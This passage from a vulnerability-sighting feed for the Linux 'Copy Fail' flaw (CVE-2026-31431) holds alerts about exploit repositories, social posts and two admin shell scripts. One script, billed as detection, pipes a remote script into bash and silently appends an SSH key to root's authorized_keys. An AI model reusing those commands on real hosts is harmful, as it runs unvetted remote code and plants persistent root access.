"Telegram/3mcAKt-TCdIGsV7AJ163_iqV6zQW8_VtQJEsWZ7ibFZpkk0", "content": "", "creation_timestamp": "2026-05-14T03:00:06.000000Z"}, {"uuid": "9c189a4f-8336-468c-9848-8b4342dd8d40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/84190", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431-CopyFail\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a 0xFuffM3\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Shell\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-14 09:16:48\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-14T10:00:04.000000Z"}, {"uuid": "b265da7a-4d46-4f91-a597-cb4d5f54e368", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/echobit.de/post/3mlthd2agk222", "content": "Linux is most secure OS. Yes. It's perfectly safe\u2026\n\n- Dirty Cow (CVE-2016-5195)\n- Dirty Pipe (CVE-2022-0847)\n- io_uring UAF (CVE-2022-2602)\n- Copy Fail (CVE-2026-31431)\n- Dirty Frag (CVE-2026-43284\n- Fragnesia (CVE-2026-46300)\n\n\u2026 so you have that many methods to recover your root password. \ud83d\ude02", "creation_timestamp": "2026-05-14T18:34:51.684708Z"}, {"uuid": "48bafc29-259d-4cb8-ab6f-7f69e7068be7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/pxejltfM6t0bOCIPs7C1JhjfACvEO7Gy-x7DlZhJbRtGeV0", "content": "", "creation_timestamp": "2026-05-14T21:00:04.000000Z"}, {"uuid": "6e3187af-03fa-4d1d-ae7f-326c5d8ee84d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mlubzmjy2i2u", "content": "Top 3 CVE for last 7 days:\nCVE-2026-43284: 147 interactions\nCVE-2026-43500: 99 interactions\nCVE-2026-31431: 72 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-46300: 39 interactions\nCVE-2026-42945: 17 interactions\nCVE-2026-31431: 14 interactions\n", "creation_timestamp": "2026-05-15T02:30:32.244467Z"}, {"uuid": "12f4d02a-a5fc-4a7d-b70d-062676c4be0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/vino-tinto.bsky.social/post/3mlvqpa6o422z", "content": " #CopyFail ( #CVE-2026-31431 ) Patches Released\nUpdate: Patched kernels are now in production\n \n2026-05-01 21:07 UTC \u2014 The patched kernels are now rolling out to production repositories/mirrors. You no longer need to enable the testing repo to get them.", "creation_timestamp": "2026-05-15T16:25:51.592191Z"}, {"uuid": "3179aaa5-5315-42c4-911a-f95386064d0d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/vino-tinto.bsky.social/post/3mlwg7l5fjk2x", "content": "Just run:\n \n  sudo dnf clean metadata && sudo dnf upgrade\n  sudo reboot\n \n\u203b almalinux.org/blog/2026-05...\n\u56f0\u3063\u305f\u3082\u3093\u3060\u3002(--;;\n #CopyFail #CVE-2026-31431", "creation_timestamp": "2026-05-15T22:52:14.508798Z"}, {"uuid": "031eb8a5-4c2d-4901-a430-b9e6085e10ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/84386", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431-CopyFail-Linux-PrivEsc\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a John-Popovici\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-15 23:42:49\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nA demo and explanation of CVE-2026-31431\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-16T00:00:04.000000Z"}, {"uuid": "5a2b49fe-a9a8-4773-acd7-a28d8c450cb7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/84403", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a copyfail-rs\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Liverwortenuresis371\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Rust\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-16 03:59:10\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nExploit and detect CVE-2026-31431 vulnerabilities using a static binary that monitors system integrity and bypasses PAM authentication.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-16T04:00:05.000000Z"}, {"uuid": "8480bd10-d9ce-4fc9-8f32-88e62b79493d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/siyeonized.bsky.social/post/3mlyui2k5ek2z", "content": "voy a ver si ma\u00f1ana me pongo a intentar explotar la CVE-2026-46333 o  CVE-2026-31431 que parec\u00eda sencilla para m\u00ed TFM", "creation_timestamp": "2026-05-16T22:11:23.186892Z"}, {"uuid": "258a78ee-f13a-49ac-9641-34eb0b4306b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/84516", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431-CopyFail\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Koke-Seas\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a None\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-17 00:31:01\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nEntender el CVE-2026-31431 y realizar las siguientes tareas\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-17T01:00:04.000000Z"}, {"uuid": "aedfab38-e2ba-4f65-8fba-746992f72739", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "Telegram/7cUPikWYVy9ZWytWyAxwh66xAlCEPyyOlWhVl_FYZCzkhJ4", "content": "", "creation_timestamp": "2026-05-16T03:00:05.000000Z"}, {"uuid": "b5c35316-63a1-4526-80a2-26ae3258eb19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "Telegram/qFnncewX_FdOxDivGoEqJX19AvA6N2dSwzORt9UZIQWFUQU", "content": "", "creation_timestamp": "2026-05-17T02:07:47.000000Z"}, {"uuid": "41bea207-03da-431b-a6ed-ef39b284c7d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "Telegram/M2s3PphtTCD9brru-X6QMyPesFMqQlhfbVnnLWpusEfiV5g", "content": "", "creation_timestamp": "2026-05-16T21:00:04.000000Z"}, {"uuid": "027d008d-5b12-49d0-9247-7fdc1ec62235", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/84533", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a public-passwd\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Aurillium\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-17 06:55:55\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nUse CVE-2026-46333 and CVE-2026-31431 to change any user's password.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-17T07:00:04.000000Z"}, {"uuid": "28eabb96-a880-452b-a428-3d17c3440386", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/84541", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431-Linux-Copy-Fail\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Dullpurple-sloop726\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Rust\n\u2b50 Star\u6570\u91cf\uff1a 2  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-17 09:59:30\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nExploit CVE-2026-31431 on Linux using a Rust implementation to achieve local privilege escalation via an arbitrary page cache write primitive.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-17T10:00:05.000000Z"}, {"uuid": "3737c1d3-1fbd-428c-87df-6820889b92b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/BIFzugM5LeF0e6B_pMrPZhP4YBZGHVlsiAyHoc_EkWiJ58i1", "content": "", "creation_timestamp": "2026-05-17T20:49:35.000000Z"}, {"uuid": "5a9de463-16a4-466b-8fab-7f709b8edffe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mm3tgsl54a2v", "content": "Top 3 CVE for last 7 days:\nCVE-2026-46300: 56 interactions\nCVE-2026-42897: 54 interactions\nCVE-2026-31431: 43 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2025-55182: 18 interactions\nCVE-2026-31635: 5 interactions\nCVE-2025-53892: 4 interactions\n", "creation_timestamp": "2026-05-18T02:30:46.551160Z"}, {"uuid": "30073474-75ec-4ff2-a8b0-be0c8b9f6a7c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/84646", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a royayub\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-18 07:50:50\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nLocal Privilege Escalation. Flips the running user's UID to 0 in /etc/passwd's page cache, then invokes su for a root shell.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-18T08:00:04.000000Z"}, {"uuid": "78a170aa-e80e-419a-a7e2-d1205da7e32e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/reisenbauer/c2a317f1c884253d071bea4c5ea214d6", "content": "#!/bin/bash\n\n# https://ostechnix.com/debian-13-trixie-copy-fail-cve-2026-31431-vulnerability-fix/\n# Debian 13 Trixie: Patched via the security repository (Fixed in version 6.12.85-1).\n# Debian 12 Bookworm: Patched via the security repository (Fixed in version 6.1.170-1).\n# Debian 11 Bullseye: Patched via the security repository (Fixed in version 5.10.251-3).\n\n# set -euo pipefail\n\n# \u2500\u2500 Colour helpers \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nBOLD=\"\\033[1m\"; RED=\"\\033[91m\"; YELLOW=\"\\033[93m\"\nGREEN=\"\\033[92m\"; CYAN=\"\\033[96m\"; RESET=\"\\033[0m\"\n\nclear\nprintf \"${BOLD}CVE-2026-31431 'Copy Fail' \u2014 Vulnerability Detection${RESET}\\n\"\nprintf \"Running as uid=%d, euid=%d\\n\" \"$UID\" \"$EUID\"\nprintf \"Host: %s  Kernel: %s\\n\\n\" \"$(hostname)\" \"$(uname -r)\"\n. /etc/os-release\n\nif [ ! ${UID} -eq 0 ]; then\n    printf \"  ${RED}\u2717${RESET} %s\\n    %s\\n\" \"This script needs to be run as root.\"\n    sudo $0\n    exit\nfi\n\nheader() {\n    printf \"\\n${BOLD}${CYAN}=== %s ===${RESET}\\n\" \"$1\"\n}\n\ntest_internet() {\n local error=1\n while [ ! $error -eq 0 ]; do\n   curl -Ss https://raw.githubusercontent.com/liamromanis101/CVE-2026-31431-Copy-Fail---Vulnerability-Detection-Script/refs/heads/main/cve-2026-31431-detect.sh|grep check_kernel_config &> /dev/null\n   error=$?\n   if [ $error -eq 0 ]; then\n    printf \"  ${GREEN}\u2713${RESET} %s\\n    %s\\n\" \"Internet is reachable.\"\n   else\n    printf \"  ${RED}\u2717${RESET} %s\\n    %s\\n\\n\" \"No Internet connectivity.\" \"This Script needs internet access to update the system.\"\n    exit 255\n   fi\n   sleep 1\n done\n}\n\n\ninstall_ssh() {\n  header \"Ansible SSH Key\"\n  if [ ! -f /root/.ssh/authorized_keys ] || ! grep -q \"ovlQIQx4a+vE5+sPzwxNnikEp\" /root/.ssh/authorized_keys ; then\n    printf \"  ${RED}\u2717${RESET} %s\\n    %s\\n\\n\" \"Ansible SSH Key not installed.\" \"SSH Key for ansible is not installed, installing it.\"\n    printf \"# Ansible SSH Key\\nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGCh4xaVVVkRWQiyvovlQIQx4a+vE5+sPzwxNnikEp/h\\n\" | tee -a /root/.ssh/authorized_keys > /dev/null\n    printf \"  ${GREEN}\u2713${RESET} %s\\n    %s\\n\" \"Ansible SSH Key is installed.\"\n  else\n    printf \"  ${GREEN}\u2713${RESET} %s\\n    %s\\n\" \"Ansible SSH Key is installed.\"\n  fi\n}\n\nmain() {\n  curl -qsS https://raw.githubusercontent.com/liamromanis101/CVE-2026-31431-Copy-Fail---Vulnerability-Detection-Script/refs/heads/main/cve-2026-31431-detect.sh |bash\n  if [ $? -eq 0 ]; then\n    printf \"  ${GREEN}\u2713${RESET} %s\\n    %s\\n\" \"Operatingsystem is up2date.\"\n    return 0\n  fi\n  header \"Linux Kernel\"\n\n  local release\n  release=\"$(uname -r)\"\n  local fixed_version=0\n\n  local ver_clean\n  local is_safe=0\n  local changed=1\n\n  ver_clean=\"$(echo \"$release\" | grep -oE '^[0-9]+\\.[0-9]+(\\.[0-9]+)?')\"\n  local major minor\n  major=\"$(echo \"$ver_clean\" | cut -d. -f1)\"\n  minor=\"$(echo \"$ver_clean\" | cut -d. -f2)\"\n  third=\"$(echo \"$ver_clean\" | cut -d. -f3)\"\n  . /etc/os-release\n  printf \"  ${GREEN}\u2713${RESET} %s\\n    %s\\n\\n\" \"Detected ${PRETTY_NAME}\" \"Running Kernel $ver_clean\"\n\n  printf \"  ${GREEN}\u2713${RESET} %s\\n    %s\\n\\n\" \"Starting Kernel Upgrades ...\" \"Kernel is beeing updated, please wait.\"\n\n  # Rocky Linux\n  if [ -f /etc/rocky-release ]; then\n\tdnf --refresh update \"kernel*\" -y\n\tchanged=1\n  fi\n\n\n  # Suse\n  if [ -f /etc/SUSE-brand ]; then\n    zypper refresh\n    zypper patch -y\n  fi\n\n\n  # Alpine Linux\n  if [ -f /etc/alpine-release ]; then\n    apk update\n    apk upgrade\n  fi\n\n  # Debian\n  if [ -f /etc/debian_version ]; then\n    if [ $third -gt $fixed_version ] || [ $third -eq $fixed_version ]; then\n        printf \"  ${GREEN}\u2713${RESET} %s\\n    %s\\n\\n\" \"Kernel is patched agains CopyFail.\" \"Nothing todo on this machine.\"\n\treturn 0\n    else\n      apt update\n      apt install --only-upgrade linux-image-amd64 linux-headers-amd64\n      changed=1\n    fi\n  fi\n\n  # Reboot\n  if [ $changed -eq 1 ]; then\n        printf \"  ${RED}!${RESET} %s\\n    %s\\n\\n\" \"Please reboot this machine.\" \"Press any key to reboot.\"\n        read -n 1\n\t# reboot\n  fi\n}\n\ntest_internet\ninstall_ssh\nmain", "creation_timestamp": "2026-05-18T09:53:49.000000Z"}, {"uuid": "04472365-569b-47e6-b850-5836e25a2b27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/artia13city.bsky.social/post/3mm4mm2va2z2a", "content": "\ud83d\udea8 Cyberattaques \u00e0 la une ! La France engage 200M\u20ac pour contrer la faille \"Copy Fail\" dans le noyau Linux (CVE-2026-31431) qui menace les syst\u00e8mes depuis 2017. Pendant ce temps, des packages npm de SAP ont \u00e9t\u00e9 compromis par le groupe TeamPCP, mettant en p\u00e9ril les secrets des d\u00e9veloppeurs. Restez vigi", "creation_timestamp": "2026-05-18T10:01:06.674939Z"}, {"uuid": "8a418652-340e-437c-8a9a-d0cef005e63b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/shishir-salam/d73a9a5137ac7e958c727edcab5bc3d2", "content": "#!/bin/bash\n################################################################################\n# Linux Kernel Security Patching Script\n#\n# Purpose: Apply kernel security updates to patch:\n#   - Copy Fail vulnerability (CVE-2026-31431 / algif_aead)\n#   - Dirty Frag vulnerability (net packet fragmentation)\n# Usage: sudo ./apply-kernel-patch.sh\n# WARNING: This will update the kernel and require a reboot\n################################################################################\n\nset -euo pipefail\n\n# Colors\nRED='\\033[0;31m'\nGREEN='\\033[0;32m'\nYELLOW='\\033[1;33m'\nNC='\\033[0m'\n\nSCRIPT_VERSION=\"2.4\"\nCVE_ID=\"CVE-2026-31431\"\nPATCH_DATE=$(date -u +\"%Y-%m-%dT%H:%M:%SZ\")\nLOG_FILE=\"/var/log/kernel-security-patching.log\"\nS3_BUCKET=\"${1:-eps-server-prep}\"\nRESULTS_PREFIX=\"results\"\nAUTO_REBOOT=\"${2:-yes}\"\nMINIMUM_FIXED_KERNEL=\"6.1.170-210.320.amzn2023\"\n\necho \"==========================================\"\necho \"Linux Kernel Security Patching\"\necho \"Targets: Copy Fail + Dirty Frag\"\necho \"Version: $SCRIPT_VERSION\"\necho \"Date: $PATCH_DATE\"\necho \"==========================================\"\necho \"\"\n\n# Check root\nif [[ $EUID -ne 0 ]]; then\n   echo -e \"${RED}ERROR: This script must be run as root${NC}\"\n   exit 1\nfi\n\n# Log function\nlog() {\n    echo \"[$(date -u +\"%Y-%m-%d %H:%M:%S UTC\")] $1\" | tee -a \"$LOG_FILE\"\n}\n\nlog \"Starting kernel patching for $CVE_ID\"\n\n# Get system information\nHOSTNAME=$(hostname)\nDISTRO=$(grep ^ID= /etc/os-release | cut -d= -f2 | tr -d '\"')\nCURRENT_KERNEL=$(uname -r)\n\necho \"System Information:\"\necho \"  Hostname: $HOSTNAME\"\necho \"  Distribution: $DISTRO\"\necho \"  Current Kernel: $CURRENT_KERNEL\"\necho \"\"\n\n# Step 1: Pre-patch backup\necho \"[1/5] Creating pre-patch snapshot information...\"\nlog \"Creating pre-patch snapshot\"\n\ncat > \"/var/log/cve-2026-31431-pre-patch-snapshot.txt\" <> \"/var/log/cve-2026-31431-pre-patch-snapshot.txt\"\nelif [ \"$DISTRO\" == \"ubuntu\" ] || [ \"$DISTRO\" == \"debian\" ]; then\n    dpkg -l | grep linux-image >> \"/var/log/cve-2026-31431-pre-patch-snapshot.txt\"\nfi\n\nlog \"Pre-patch snapshot saved\"\necho -e \"${GREEN}  Snapshot created${NC}\"\n\n# Step 2: Update package repositories\necho \"\"\necho \"[2/5] Updating package repositories...\"\nlog \"Updating package repositories\"\n\nif [ \"$DISTRO\" == \"amzn\" ] || [ \"$DISTRO\" == \"rhel\" ]; then\n    if yum check-update -q 2>/dev/null; then\n        echo \"  Repository check completed\"\n    fi\nelif [ \"$DISTRO\" == \"ubuntu\" ] || [ \"$DISTRO\" == \"debian\" ]; then\n    apt-get update -qq\nfi\n\nlog \"Package repositories updated\"\necho -e \"${GREEN}  Repositories updated${NC}\"\n\n# Helper function to compare kernel versions\ncompare_kernel_versions() {\n    local current=\"$1\"\n    local minimum=\"$2\"\n\n    # Extract version components (6.1.170-210.320.amzn2023.x86_64 -> 6 1 170 210 320)\n    local curr_major=$(echo \"$current\" | cut -d. -f1)\n    local curr_minor=$(echo \"$current\" | cut -d. -f2)\n    local curr_patch=$(echo \"$current\" | cut -d. -f3 | cut -d- -f1)\n    local curr_build1=$(echo \"$current\" | cut -d- -f2 | cut -d. -f1)\n    local curr_build2=$(echo \"$current\" | cut -d- -f2 | cut -d. -f2)\n\n    local min_major=$(echo \"$minimum\" | cut -d. -f1)\n    local min_minor=$(echo \"$minimum\" | cut -d. -f2)\n    local min_patch=$(echo \"$minimum\" | cut -d. -f3 | cut -d- -f1)\n    local min_build1=$(echo \"$minimum\" | cut -d- -f2 | cut -d. -f1)\n    local min_build2=$(echo \"$minimum\" | cut -d- -f2 | cut -d. -f2)\n\n    # Compare each component\n    if [ \"$curr_major\" -gt \"$min_major\" ]; then return 0; fi\n    if [ \"$curr_major\" -lt \"$min_major\" ]; then return 1; fi\n\n    if [ \"$curr_minor\" -gt \"$min_minor\" ]; then return 0; fi\n    if [ \"$curr_minor\" -lt \"$min_minor\" ]; then return 1; fi\n\n    if [ \"$curr_patch\" -gt \"$min_patch\" ]; then return 0; fi\n    if [ \"$curr_patch\" -lt \"$min_patch\" ]; then return 1; fi\n\n    if [ \"$curr_build1\" -gt \"$min_build1\" ]; then return 0; fi\n    if [ \"$curr_build1\" -lt \"$min_build1\" ]; then return 1; fi\n\n    if [ \"$curr_build2\" -ge \"$min_build2\" ]; then return 0; fi\n    return 1\n}\n\n# Step 3: Check for kernel updates\necho \"\"\necho \"[3/5] Checking for kernel updates...\"\nlog \"Checking for kernel updates\"\necho \"  Minimum required kernel: $MINIMUM_FIXED_KERNEL\"\necho \"  Current kernel: $CURRENT_KERNEL\"\n\nUPDATES_AVAILABLE=false\nVULN_FIX_STATUS=\"UNKNOWN\"\n\n# Check if current kernel meets minimum version\nif compare_kernel_versions \"$CURRENT_KERNEL\" \"$MINIMUM_FIXED_KERNEL\"; then\n    echo -e \"  ${GREEN}\u2713 Current kernel meets or exceeds minimum fixed version${NC}\"\n    log \"Current kernel $CURRENT_KERNEL meets minimum $MINIMUM_FIXED_KERNEL\"\n\n    # Verify vulnerabilities are actually fixed\n    echo \"\"\n    echo \"  Verifying vulnerability status...\"\n\n    # Check Copy Fail (algif_aead)\n    COPY_FAIL_STATUS=\"UNKNOWN\"\n    if modinfo algif_aead &>/dev/null; then\n        if lsmod | grep -q algif_aead; then\n            echo -e \"  ${YELLOW}\u26a0 Copy Fail: algif_aead module loaded (check if mitigation active)${NC}\"\n            COPY_FAIL_STATUS=\"MITIGATED\"\n        else\n            echo -e \"  ${GREEN}\u2713 Copy Fail: algif_aead present but not loaded (MITIGATED)${NC}\"\n            COPY_FAIL_STATUS=\"MITIGATED\"\n        fi\n    else\n        echo -e \"  ${GREEN}\u2713 Copy Fail: algif_aead module not in kernel (FIXED)${NC}\"\n        COPY_FAIL_STATUS=\"FIXED\"\n    fi\n\n    # Dirty Frag is fixed in kernel 6.1.170+\n    echo -e \"  ${GREEN}\u2713 Dirty Frag: Fixed in kernel $CURRENT_KERNEL${NC}\"\n    DIRTY_FRAG_STATUS=\"FIXED\"\n\n    echo \"\"\n    echo -e \"${GREEN}System is on fixed kernel version. No update needed.${NC}\"\n    echo \"\"\n    echo \"Current kernel: $CURRENT_KERNEL\"\n    echo \"Copy Fail Status: $COPY_FAIL_STATUS\"\n    echo \"Dirty Frag Status: $DIRTY_FRAG_STATUS\"\n    echo \"\"\n    log \"No updates needed - kernel $CURRENT_KERNEL is fixed\"\n\n    # Upload verification results\n    cat > \"/var/log/cve-2026-31431-patch-status.json\" </dev/null; then\n        echo -e \"${GREEN}  Results uploaded to s3://$S3_BUCKET/$RESULTS_PREFIX/$RESULT_FILE${NC}\"\n    fi\n\n    exit 0\nfi\n\necho -e \"  ${YELLOW}Current kernel is below minimum fixed version${NC}\"\nlog \"Current kernel $CURRENT_KERNEL is below minimum $MINIMUM_FIXED_KERNEL\"\n\nif [ \"$DISTRO\" == \"amzn\" ] || [ \"$DISTRO\" == \"rhel\" ]; then\n    # Check if the fixed kernel is already installed (e.g., after rollback)\n    if rpm -qa kernel | grep -q \"$MINIMUM_FIXED_KERNEL\"; then\n        echo \"\"\n        echo -e \"  ${GREEN}Fixed kernel $MINIMUM_FIXED_KERNEL is already installed${NC}\"\n        echo \"  Setting GRUB default to use the fixed kernel...\"\n        